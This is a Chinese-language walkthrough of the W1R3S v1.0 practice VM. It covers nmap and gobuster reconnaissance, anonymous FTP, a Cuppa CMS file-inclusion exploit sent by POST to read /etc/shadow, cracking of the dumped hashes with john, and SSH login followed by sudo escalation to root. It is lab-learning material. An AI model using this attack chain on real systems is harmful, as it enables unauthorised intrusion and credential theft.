w1r3s.v1.0

记录文件参考

nmap四扫结果

  • tcp详细扫:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]                                                                    [0/13]
└─$ sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.59.132 -oA nmapscan/tcpdetails
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:48 EDT
Nmap scan report for 192.168.59.132
Host is up (0.00076s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.59.131
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:72:B0:05 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 3.13 - 3.16 (92%), Linux 4.4 (92%), Synology D
iskStation Manager 5.2-5644 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.69 seconds

ftp允许匿名登录,先尝试连接ftp访问资源;然后再看80端口的web服务;如果ftp中泄露了凭据信息,先尝试连接ssh或者mysql

  • udp全端口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo nmap -sU -p- 192.168.59.132 -oA nmapscan/udports
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:49 EDT
Stats: 0:03:14 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 14.49% done; ETC: 22:11 (0:18:53 remaining)
Stats: 0:06:18 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 28.43% done; ETC: 22:11 (0:15:47 remaining)
Nmap scan report for 192.168.59.132
Host is up (0.00055s latency).
Not shown: 65534 open|filtered udp ports (no-response)
PORT STATE SERVICE
3306/udp closed mysql
MAC Address: 00:0C:29:72:B0:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 833.26 seconds

  • tcp漏扫:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo nmap --script=vuln -p 21,22,80,3306 192.168.59.132 -oA nmapscan/tcpvuln
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:51 EDT
Stats: 0:01:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.21% done; ETC: 21:52 (0:00:01 remaining)
Nmap scan report for 192.168.59.132
Host is up (0.00060s latency).

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
|_ /wordpress/wp-login.php: Wordpress login page.
3306/tcp open mysql
MAC Address: 00:0C:29:72:B0:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 323.71 seconds

web中扫到了一个可能可利用的cve,但根据描述来看是个DDOS类型的,显然在靶机中意义不大,故忽略

ftp下载到的文件分析

01.txt: New FTP Server For W1R3S.inc

表明这是一台新的ftp服务器

02.txt:

1
2
3
4
5
#
01ec2d8fc11c493b25029fb1f47f39ce
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
#

看起来像是base64编码,因为结尾有=且由字母数字组成,解码: 2024-06-17-10-22-00 价值不大

03.txt:

1
2
3
4
5
6
7
___________.__              __      __  ______________________   _________    .__                
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/

employee-names.txt:

1
2
3
4
5
6
7
8
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

2024-06-17-10-25-22

敏感凭据信息,尤其是前四位,权限和价值相对更高,先保存起来

worktodo.txt:

1
2
3
        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

初步观察后,判断第二段文字需上下翻转,第一段除了上下还需左右翻转 2024-06-17-10-37-58 这网站除了上下还可以左右翻转,最后得到的信息价值不大

另外,综合上述内容,多次出现了W1R3S.inc的多种变体,猜测是该公司的名字,有作为域名的可能性

web初探

刚进入是个apache默认静态页面: 2024-06-17-10-42-01 想到nmap漏扫中扫到wordpress登录页面,尝试访问: 2024-06-17-10-46-17 碰到登录框,一般先尝试弱口令,无果后才尝试sql注入、xss等其余方式。 然而不管输入什么凭据/点击忘记密码等选项,观察跳转的页面url发现被重定向到localhost: 2024-06-17-11-11-48 F12查看源代码,暴露出疑似wordpress的版本号以及部分目录结构信息(发现是wordpress默认的): 2024-06-17-11-39-29 然后就暂时没有什么有价值的信息了,接着尝试目录爆破试图发现更多潜在路径

目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo gobuster dir -u http://192.168.59.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.59.132
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress (Status: 301) [Size: 320] [--> http://192.168.59.132/wordpress/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.59.132/javascript/]
/administrator (Status: 301) [Size: 324] [--> http://192.168.59.132/administrator/]
/server-status (Status: 403) [Size: 302]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

只有/administrator可以访问到: 2024-06-17-11-41-47 是个安装页面,点击下一步后来到了数据库安装配置页面,并且标题暴露了cms: 2024-06-17-11-59-01 接下来就要谨慎,如果这一操作会影响实际业务运行,就不能再往下了,并且我们还不知道数据库root账户,显然即使配置完也是无法正常进行。另外尝试填写完信息后返回了“管理员创建失败”。 至此,现在剩余的有价值信息就是暴露的Cuppa CMS

尝试利用公开漏洞

谷歌搜索或者msf搜索关于该cms的公开利用: 2024-06-17-12-12-41 将对应的exp25971下载下来:

1
2
3
4
5
6
7
8
9
10
msf6 > searchsploit -m 25971 
[*] exec: searchsploit -m 25971

Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
URL: https://www.exploit-db.com/exploits/25971
Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
Codes: OSVDB-94101
Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /1-20/w1r3s.v1.0/25971.txt

2024-06-17-13-55-00 2024-06-17-12-19-17 该exp表明可以利用文件包含漏洞读取系统敏感文件以及可以查看Configuration.php的源码,甚至可以实现RCE。存在漏洞的地方主要是在/alerts/alertConfigField.php的22行可以包含一个request请求方式的参数urlconfig。 首先我们先要确认根据该目录结构是否能访问到该接口:

由于我们是访问administrator作为根目录后才暴露出Cuppa-cms的,所以下面都在此根目录基础上做尝试,因为exp的示例是默认的目录结构 2024-06-17-12-29-11 可以,进一步尝试利用,根据示例的两行payload不断更换遍历结构尝试后皆无果。还注意到exp后半部分有个类似于上传路径的结构,尝试访问下/media/2024-06-17-13-37-35 其中有个文件存在管理员的凭据信息,保存好: 2024-06-17-13-40-31 至此,没有其他有价值信息。想到前面exp的利用并没有说基于cuppa的哪个版本利用成功的,可能目标与exp中cms的版本不同,因此可能可利用参数不同,可能文件名、参数提交方式也不同,由于查看源码等方式都没有暴露出当前cuppa的版本,因此再尝试去寻找cuppa的源码,找到与exp提到的存在漏洞路径,进行比较和再利用

尝试寻找源码并再次利用

直接从github上搜,定位到对应文件,然后搜索关键词include2024-06-17-14-11-37 2024-06-17-14-09-34 显然第二个include更贴近于exp中的,对比发现,两者可控参数是一样的,但是提交方式不同,说明原来在exp中尝试的get方式提交是行不通的,因此要尝试用post方式提交: 2024-06-17-14-26-24 利用成功,并且我们还注意到有个w1r3s用户且有家目录,并且还可以访问shadow文件做个记录:

1
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7::: games:*:17379:0:99999:7::: man:*:17379:0:99999:7::: lp:*:17379:0:99999:7::: mail:*:17379:0:99999:7::: news:*:17379:0:99999:7::: uucp:*:17379:0:99999:7::: proxy:*:17379:0:99999:7::: www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7::: backup:*:17379:0:99999:7::: list:*:17379:0:99999:7::: irc:*:17379:0:99999:7::: gnats:*:17379:0:99999:7::: nobody:*:17379:0:99999:7::: systemd-timesync:*:17379:0:99999:7::: systemd-network:*:17379:0:99999:7::: systemd-resolve:*:17379:0:99999:7::: systemd-bus-proxy:*:17379:0:99999:7::: syslog:*:17379:0:99999:7::: _apt:*:17379:0:99999:7::: messagebus:*:17379:0:99999:7::: uuidd:*:17379:0:99999:7::: lightdm:*:17379:0:99999:7::: whoopsie:*:17379:0:99999:7::: avahi-autoipd:*:17379:0:99999:7::: avahi:*:17379:0:99999:7::: dnsmasq:*:17379:0:99999:7::: colord:*:17379:0:99999:7::: speech-dispatcher:!:17379:0:99999:7::: hplip:*:17379:0:99999:7::: kernoops:*:17379:0:99999:7::: pulse:*:17379:0:99999:7::: rtkit:*:17379:0:99999:7::: saned:*:17379:0:99999:7::: usbmux:*:17379:0:99999:7::: w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7::: sshd:*:17554:0:99999:7::: ftp:*:17554:0:99999:7::: mysql:!:17554:0:99999:7:::

初想法是看看能不能利用文件包含写一个php马,但是一些常见的文件包含的php伪协议payload都无法奏效。

PS:到这里基本就卡住了,不知道该如何往下利用了

(视频提示)john破解/etc/shadow

果然经验太少了,看了靶机精讲视频后,原来我尝试读取的/etc/shadow是可以破解的,因为观察/etc/passwd发现每条用户数据的第二部分都是x,说明密码是以hash的方式存储在了shadow文件中,首先要把拿到的hash段做个筛选,只提取出存在hash值的用户,即root、www-data、w1r3s:

1
2
3
4
5
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7:::

www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

接下来继续独立解决,打算尝试用john破解hash,谷歌搜索到文章跟着利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ unshadow passwd.txt shadow.txt > unshadowed.txt
Created directory: /home/kali/.john

┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ cat unshadowed.txt| tail -n 3
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:0:0:root:/root:/bin/bash
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:33:33:www-data:/var/www:/usr/sbin/nologin
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash

┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer (w1r3s)

获取到立足点

很快就破解出了用户w1r3s的密码,尝试用该凭据连接ssh,连上了。然后显然第一步是看看它所属组以及具有的权限等信息:

1
2
3
4
5
6
7
8
9
10
11
w1r3s@W1R3S:~$ id                                                           
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ sudo -l
sudo: unable to resolve host W1R3S
[sudo] password for w1r3s:
Sorry, try again.
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S:
(ALL : ALL) ALL

可以发现该用户不仅是sudo组的成员,还可以执行所有命令,那就相当于是root了。

拿到最终root权限

尝试用sudo权限新建一个shell来验证,并访问/root下的内容,发现了flag: 2024-06-17-19-38-53

复盘总结

感觉这个靶机整体的渗透流程还是挺常规的,关键就在于跟着exp公开漏洞利用时不能思维定势,要想到目标和exp复现时的环境或者来源是不一样的,导致利用时可能很多地方存在差异,此时要尝试去寻找源码来比较。

学到的

  • 关于vsftpd

21运行ftp的vsftpd,有个d,是驻留服务,该特征表明很可能存在信息泄漏。

  • 漏扫别忽视ipv6

在分析漏扫结果寻找攻击面时,如果没有找到任何攻击面,我们不要忘了ipv6的地址,可以回过头尝试用ipv6扫描,或许有新的发现。

  • ftp下载前的习惯与细节

每次ftp登录后,有个习惯要养成,先输入binary进入二进制模式,防止下载二进制文件后是损坏的,这点非常关键;然后还有个小细节就是下载前可以输入prompt,关闭交互模式下的确认提示,防止每次下载文件时都要先确认。

  • 认识leetspeak命名方式的必要性

“W1R3S.inc”是一种leetspeak命名方式,最初是为了解决命名重复的问题,现在也是一种“耍酷”的文化,即用一些形似的字符来代替原来要表达的字符,上述还原后即wires,了解这种命名方式可以减少日后对一些名字的陌生感,并且更重要的是有时候可能作为有价值信息的一部分。

  • 工具判断加密/编码算法

在判断加密/编码字符串的算法时,如果凭借经验还无法判断时,可用工具如hash-identifier来识别或者丢到互联网中的一些网站识别;另外,如果是md5可以用以下命令验证:echo -n '明文' | md5sum 比对是否和原加密字符串一样,一样说明破解没问题。

  • 修改配置文件尝试解决重定向问题

前面当尝试突破/wordpress/wp-login.php登录页面时,发现不管是否输入密码或者点击其他功能,都重定向到localhost,此时还可以尝试将/etc/hosts文件中添加。 靶机ip localhost,虽然无果但这一定要想到。

  • 公开的exp中出现编码问题

exp中的末尾还写了一大串base64编码和base64解码信息,虽然不清楚什么意思,但是可以据此猜测,在实际利用时可能还需要对exp进行编码。

  • 看到/etc/passwd要想到是否能尝试爆破hash

如果能读取到/etc/passwd/etc/shadow,且/etc/passwd中几乎每条用户数据的第二部分都是x,可以尝试爆破hash拿到明文密码。

  • 获取立足点后如何查看具有的权限

可以用sudo -l来查看,如果是ALL,说明和管理员几乎没区别了。

  • ssh攻击面利用优先级问题

在实际渗透测试过程中,22端口一般可以尝试进行ssh爆破,一般先用hydra进行爆破。不过这种攻击方式考虑的优先级比较靠后,一般是实在没有什么思路或者进展不是很顺利的时候才尝试。